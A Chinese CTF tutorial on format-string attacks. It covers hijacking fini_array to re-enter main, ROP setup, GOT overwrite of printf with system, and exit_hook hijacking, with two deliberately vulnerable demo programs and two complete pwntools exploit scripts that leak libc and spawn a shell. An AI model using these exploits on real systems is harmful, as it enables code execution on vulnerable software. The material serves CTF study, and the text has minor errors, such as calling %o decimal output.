利用fini_array实现格式化字符串攻击的进阶技巧
本文详解x86下通过修改fini_array劫持程序流,结合格式化字符串漏洞实现循环执行与ROP链部署的方法。
我们在调试程序的时候,不难发现,main函数也是有返回地址的,这个返回地址在
linc_sttart_main,也就是说,我们的main函数也是被其他函数调用过来的。从图中也可以看到,在main函数被调用之前,还会调用
libc_csu_init,init_array中的函数,在main函数调用完成后,会调用fini_array数组中的每一个函数指针。
我们知道了在mian函数执行完毕之后还会执行其他代码,那我们在这些代码中可不可以做点手脚,让其又返回main函数?这样我们就有更多的利用机会了。
我们在第一次执行main函数的时候,将fini_array[0]修改为main函数地址,并且将printf函数覆写为system函数的地址,第二次执行main函数的时候,直接输入/bin/sh就可以成功利用漏洞。
这个图很不错,有兴趣的可以再去翻一下源码
第一步找地址
(这个过程可以自己手动找,也可以使用pwntools写脚本找到)
第二步修改地址
通过一般是手动修改,用工具算好的话,还不如手动修改来的快这个时候,可以半手动半工具
原理讲解
我们都知道,在程序中最先调用的不是**main,也不是__libc_start_main,而是_start,我们来看一下再x86下的_start**
.text:08048420 public _start
.text:08048420 _start proc near ; DATA XREF: .LOAD:08048018↑o
.text:08048420 000 xor ebp, ebp ; Logical Exclusive OR
.text:08048422 000 pop esi
.text:08048423 -04 mov ecx, esp
.text:08048425 -04 and esp, 0FFFFFFF0h ; Logical AND
.text:08048428 -04 push eax
.text:08048429 000 push esp ; stack_end
.text:0804842A 004 push edx ; rtld_fini
.text:0804842B 008 push offset __libc_csu_fini ; fini
.text:08048430 00C push offset __libc_csu_init ; init
.text:08048435 010 push ecx ; ubp_av
.text:08048436 014 push esi ; argc
.text:08048437 018 push offset main ; main
.text:0804843C 01C call ___libc_start_main ; Call Procedure
.text:08048441 01C hlt ; Halt
.text:08048441 _start endp
.text:08048441我们可以看到,在_start结束的时候会调用**__libc_start_main**,而我们再看__libc_start_main的函数
// attributes: thunk
int __cdecl __libc_start_main(
int (__cdecl *main)(int, char **, char **),
int argc,
char **ubp_av,
void (*init)(void),
void (*fini)(void),
void (*rtld_fini)(void),
void *stack_end)
{
return _libc_start_main(main, argc, ubp_av, init, fini, rtld_fini, stack_end);可以看到,包含有**main,init,fini**,既然传进去了这些参数,那必然有他们的用处,main和init就不用多说了,fini是做什么的呢?我们得跟进看一看。
可以看到,
__libc_start_main的返回地址就是__libc_csu_fini
,证明它是在__libc_start_main在结束后就会调用__libc_csu_fini,要是我们能对它进行一些修改,那说不定就能做一些“坏事”。我们来看看跟它相关的东西。
我们可以在fini_array段找到与__libc_csu_fini相关的东西,是数组
.fini_array:0804979C ; ELF Termination Function Table
.fini_array:0804979C ; ===========================================================================
.fini_array:0804979C
.fini_array:0804979C ; Segment type: Pure data
.fini_array:0804979C ; Segment permissions: Read/Write
.fini_array:0804979C _fini_array segment dword public 'DATA' use32
.fini_array:0804979C assume cs:_fini_array
.fini_array:0804979C ;org 804979Ch
.fini_array:0804979C __do_global_dtors_aux_fini_array_entry dd offset __do_global_dtors_aux
.fini_array:0804979C ; DATA XREF: __libc_csu_init+16↑o
.fini_array:0804979C _fini_array ends ; Alternative name is '__init_array_end'
.fini_array:0804979C在这个数组里存放着一些函数的指针,并且
在进入__do_global_dtors_aux这个函数中会遍历并且调用各个指针,__do_global_dtors_aux_fini_array_entry是一个在程序结束时需要调用的函数的名称,它的地址偏移量在这里被存储
,也就是说,如果我们能
把__do_global_dtors_aux_fini_array_entry指向的地址变为main函数或者其它的地址,就可以进行一些非法操作
这就是fini_array在x86下格式化字符串的基本应用
不过需要注意的是,_init_array的下标是从小到大开始执行,而_fini_array的下标是从大到小开始执行
这对我们构造payload起到非常关键的作用
倒序执行的作用
Loop链
highlighter- apache
fini_array[0] = __libc_csu_fini
fini_array[1] = target_addr因为是从大到小开始执行,所以它的执行流程是这样的
_start-->__libc_start_main-->libc_csu_init-->main-->libc_csu_fini-->target_addr-->libc_csu_fini-->target_addr-->...
只要你不改变fini_array的值,我们就可以无限次执行下去,任何的one_byte漏洞都会被无限放大,实现任意地址写
ROP链攻击
这个常常与栈迁移联系在一起
当栈空间不足时,我们可以把栈迁移到fini_array里去,先构造Loop链使它无限循环,然后往fini_array * 0x10后布置ROP链
当ROP链布置完后,要想跳出循环
highlighter- apache
fini_array[0]修改为leave_ret
fini_array[1]修改为ret修改完后就能getshell了
至于为什么没有例题...是因为我还没有遇到,如果有我后续会补上来的
• %65c 再输出 65 个字符(总共 69 字节)
printf看的是输出,不是输入
%p的看的是内存中的字符的个数,0x1算1,0x123算5
demo小模型
2.35之前可以改fini_array处的两个地址,2.35之后csu去除了,只能改fini_array[0]了好像是
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
void init(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
}
int main(){
char buf[0x100];
int i = 0;
init();
for(i=0;i<2;i++){
read(0,buf,0x100);
printf(buf);}
return 0;
}exp
运用了小技巧的模版
#!/usr/bin/python3
from pwn import *
import ctypes
context(os = 'linux',arch = 'amd64',log_level = 'debug')
#elf1 = ctypes.CDLL("./libc.so.6")
#elf1.srand(ctypes.c_uint(int(time.time())))
pie = 0
file_name = "./pwn"
libc_name = "/lib/x86_64-linux-gnu/libc.so.6"#/lib/x86_64-linux-gnu/libc.so.6
host = "challenge.ilovectf.cn"
port = 30475
contents = 1
def create_io():
global io , duan , elf , libc
elf = ELF(file_name)
# libc = None
libc = ELF(libc_name)
if contents == 1:
io = process(file_name)
#io = process(["qemu-mipsel","-L","/usr/mipsel-linux-gnu","-g","1234", file_name])
#io = gdb.debug('./pwn', 'set follow-fork-mode child\nb *$rebase(0x178d)\nc')
def duan(*address):
pay = ''
if pie:
for i in address:
pay += 'b *$rebase(' + str(i) + ')' + '\n'
else:
for i in address:
pay += 'b *' + str(i) + '\n'
gdb.attach(io,pay)
sp()
else:
io = remote(host,port)
elf = ELF(file_name)
libc = None# ELF('./libc.so.6')
pr = lambda x:success('\x1b[01;38;5;214m'+hex(x)+'\x1b[0m')
sl = lambda x:io.sendline(x)
s = lambda x:io.send(x)
rt = lambda x:io.recvuntil(x)
ri = lambda x:int(io.recv(x),16)
ru = lambda x:u64(io.recv(x).ljust(8,b'\x00'))
it = lambda :io.interactive()
sp = lambda :sleep(1.5)
q = lambda :sleep(0.2)
lg = lambda :log.info('\x1b[01;38;5;214m'+ '-------------------------------------------'+'success stage'+'---------------------------------------------------------'+'\x1b[0m' )
def ak1():
pd = b'%41$p'
s(pd)
lib = ri(15)-0x29d90
pr(lib)
#########泄漏libc#############
fini_array = 0x403110
writes = {0x403110:0x4011DB}
pd = fmtstr_payload(6,writes)
s(pd)
##########实现无限重启###########
system = lib + libc.sym['system']
printf = elf.got['printf']
writes = {printf:system}
pd = fmtstr_payload(6,writes)
s(pd)
if __name__ == '__main__':
create_io()
duan(0x401231)
ak1()
it()占位符 | 含义 |
%d | 以十进制形式输出整数 |
%u | 以十进制形式输出无符号整数 |
%x | 以十六进制形式输出整数(小写字母) |
%X | 以十六进制形式输出整数(大写字母) |
%o | 以十进制形式输出整数 |
%f | 以浮点数形式输出实数 |
%e | 以指数形式输出实数 |
%g | 自动选择%f或者%e输出实数 |
%c | 输出单个字符 |
%s | 输出字符串 |
%p | 输出指针的地址 |
%n | 将已经输出的字符数写入参数 |
技巧一:使用工具构造payload进行修改
这个工具可以自己去改,不用去考虑%n多出来的一个指针关系,会自动的写到栈上去
writes = {目标地址:目标值}
payload = fmtstr_payload(offset,writes)#numbwritten=0,write_size='bytes'值得一提的是,我们的改写,尽可能是1字节,2字节的去改写,如果一次改写的字节数过多,如4,8字节,就会很慢,甚至会卡,具体原因就需要大家去了解fmtstr_payload到底是如何利用%c+%n改写的了
技巧二:利用溢出重置空间
下面这点的话需要注意
printf对\X00 字符串的截断
还有就是算好最大的,将最大的排在最后就行了
如果不想提前算好大小的话
比如说%hn这种情况的话,str(0x10000-xxx),通过这种方式刷新一下就可以了
exit劫持
exit_hook:当我们执行exit(0)时(而不是sys-exit和_exit(0),这三者的内部过程有很大不同)。必然会执行到两个函数,如果我们把这两个函数的值改成别的函数地址,程序就会去执行那个函数,因为这个功能跟hook很像,所以我们称他为exit_hook具体题目里怎么去寻找exit_hook的地址和他rdi的地址呢
在gdb中使用这个指令查看gdb的内部结构
p _rtld_global会查看到很多内容,在最下面那一串dl开头的内容中,最上面的两个就是我们的目标
_dl_rtld_lock_recursive = 0x7ffff7c010e0 <rtld_lock_default_lock_recursive>,
_dl_rtld_unlock_recursive = 0x7ffff7c010f0 <rtld_lock_default_unlock_recursive>,之后用如下命令查看这两个数据具体的地址
pwndbg> p &_rtld_global
$3 = (struct rtld_global *) 0x7ffff7e2a060 <_rtld_global>
pwndbg> x/500a 0x7ffff7e2a060之后求出与libc的偏移即可
至于rdi,劫持exit_hook这两个函数的任意一个后,再在gdb里调试,看执行到恶意函数时的rdi指向哪个ld地址也与libc求偏移即可
谨记:需要patch好附件中的libc,ld,libseccomp文件,上述步骤才能查到远程环境中最正确的地址
无限制次数的修改脚本
这里的fmt是一个正常的发送
不过exit_hook在高版本后就很难利用了,好在这个版本还没被限制
修改函数
for i in range(4):
payload=fmtstr_payload(offset, {exit_hook+i*2:system & 0xffff},write_size='short')
fmt(payload)
system=system>>16修改参数
rdi_value=0x68732f6e69622f
for i in range(4):
payload=fmtstr_payload(offset, {rdi+i*2:rdi_value & 0xffff},write_size='short')
fmt(payload)
rdi_value=rdi_value>>16改rtld_lock_default_lock_recursive 或 rtld_lock_default_unlock_recursive为system,_dl_load_lock为/bin/sh\x00
适用版本:
glibc-2.34 后失效
利用条件:
至少有一次任意写程序可以结束(可显式触发exit函数 或 主函数由libc_start_main启动且可正常退出),调用到_dl_fini 函数
_dl_rtld_lock_recursive = 0x7f1c45d98150 <rtld_lock_default_lock_recursive>,
_dl_rtld_unlock_recursive = 0x7f1c45d98160 <rtld_lock_default_unlock_recursive>,
_dl_x86_feature_1 = {0, 0},
_dl_x86_legacy_bitmap = {0, 0},
_dl_make_stack_executable_hook = 0x7f1c45dac140 <__GI__dl_make_stack_executable>,
_dl_stack_flags = 7,
_dl_tls_dtv_gaps = false,
_dl_tls_max_dtv_idx = 1,
_dl_tls_dtv_slotinfo_list = 0x7f1c45d829c0,
_dl_tls_static_nelem = 1,
_dl_tls_static_size = 4160,
_dl_tls_static_used = 144,
_dl_tls_static_align = 64,
_dl_initial_dtv = 0x7f1c45d83e70,
_dl_tls_generation = 1,
_dl_init_static_tls = 0x7f1c45da4860 <_dl_nothread_init_static_tls>,
_dl_wait_lookup_done = 0x0,
_dl_scope_free_list = 0x0
}打印地址注意事项
这里的gdb的标识问题看错了
pwndbg> p _rtld_global->_dl_rtld_lock_recursive
$4 = (void (*)(void *)) 0x7f1c45d98150 <rtld_lock_default_lock_recursive>
pwndbg> p _rtld_global->rtld_lock_default_lock_recursive
There is no member named rtld_lock_default_lock_recursive.
pwndbg> p &_rtld_global->_dl_rtld_lock_recursive
$1 = (void (**)(void *)) 0x7f1ff30f5f68 <_rtld_global+3848>至于这个system的参数,可以通过调试的方法去确定
参数的话直接改就行
0x7f8251247d91 <_dl_fini+49> lea rax, [rip + 0x1c2c8] RAX => 0x7f8251264060 (_rtld_global) —▸ 0x7f8251265190 ◂— 0
0x7f8251247d98 <_dl_fini+56> shl rbx, 4
0x7f8251247d9c <_dl_fini+60> add rbx, rax RBX => 0x7f8251264060 (_rtld_global) (0x0 + 0x7f8251264060)
0x7f8251247d9f <_dl_fini+63> jmp _dl_fini+106 <_dl_fini+106>
↓
0x7f8251247dca <_dl_fini+106> lea rdi, [rip + 0x1cb97] RDI => 0x7f8251264968 (_rtld_global+2312) ◂— 0
► 0x7f8251247dd1 <_dl_fini+113> call qword ptr [rip + 0x1d191] <system>
command: 0x7f8251264968 (_rtld_global+2312) ◂— 0
0x7f8251247dd7 <_dl_fini+119> mov ecx, dword ptr [rbx + 8]
0x7f8251247dda <_dl_fini+122> test ecx, ecx
0x7f8251247ddc <_dl_fini+124> je _dl_fini+72 <_dl_fini+72>
0x7f8251247dde <_dl_fini+126> mov rax, qword ptr [rbx]
0x7f8251247de1 <_dl_fini+129> movzx edx, byte ptr [rax + 0x31d]
最后调试的时候
打断点到下面这个函数上就行
有自信的话直接打断点都最下面这个函数就行
_run_exit_handlers
_dl_fini
0x68732f6e69622f题目源码
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
void init(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
}
int main(){
char buf[0x100];
int i=0;
init();
for(i=0;i<3;i++){
read(0,buf,0x100);
printf(buf);
}
exit(0);
return 0;
}exp
#!/usr/bin/python3
from pwn import *
import ctypes
context(os = 'linux',arch = 'amd64',log_level = 'debug')
#elf1 = ctypes.CDLL("./libc.so.6")
#elf1.srand(ctypes.c_uint(int(time.time())))
pie = 0
file_name = "./pwn"
libc_name = "/lib/x86_64-linux-gnu/libc.so.6"#/lib/x86_64-linux-gnu/libc.so.6
host = "challenge.ilovectf.cn"
port = 30475
contents = 1
def create_io():
global io , duan , elf , libc
elf = ELF(file_name)
# libc = None
libc = ELF(libc_name)
if contents == 1:
io = process(file_name)
#io = process(["qemu-mipsel","-L","/usr/mipsel-linux-gnu","-g","1234", file_name])
#io = gdb.debug('./pwn', 'set follow-fork-mode child\nb *$rebase(0x178d)\nc')
def duan(*address):
pay = ''
if pie:
for i in address:
pay += 'b *$rebase(' + str(i) + ')' + '\n'
else:
for i in address:
pay += 'b *' + str(i) + '\n'
gdb.attach(io,pay)
sp()
else:
io = remote(host,port)
elf = ELF(file_name)
libc = None# ELF('./libc.so.6')
pr = lambda x:success('\x1b[01;38;5;214m'+hex(x)+'\x1b[0m')
sl = lambda x:io.sendline(x)
s = lambda x:io.send(x)
rt = lambda x:io.recvuntil(x)
ri = lambda x:int(io.recv(x),16)
ru = lambda x:u64(io.recv(x).ljust(8,b'\x00'))
it = lambda :io.interactive()
sp = lambda :sleep(1.5)
q = lambda :sleep(0.2)
lg = lambda :log.info('\x1b[01;38;5;214m'+ '-------------------------------------------'+'success stage'+'---------------------------------------------------------'+'\x1b[0m' )
def ak1():
pd = b'%41$p'
s(pd)
lib = ri(15)-0x24083
pr(lib)
#######泄漏libc#############
binsh = 0x235968 + lib
target = 0x235f68 + lib
pd = fmtstr_payload(6,{binsh:0x68732f6e69622f})
s(pd)
pd = fmtstr_payload(6,{target:lib+libc.sym['system']})
s(pd)
########change system########
if __name__ == '__main__':
create_io()
duan(0x401229)
ak1()
it()本文详解x86下通过修改fini_array劫持程序流,结合格式化字符串漏洞实现循环执行与ROP链部署的方法。
由 AI 根据全文自动生成,仅供参考,以原文为准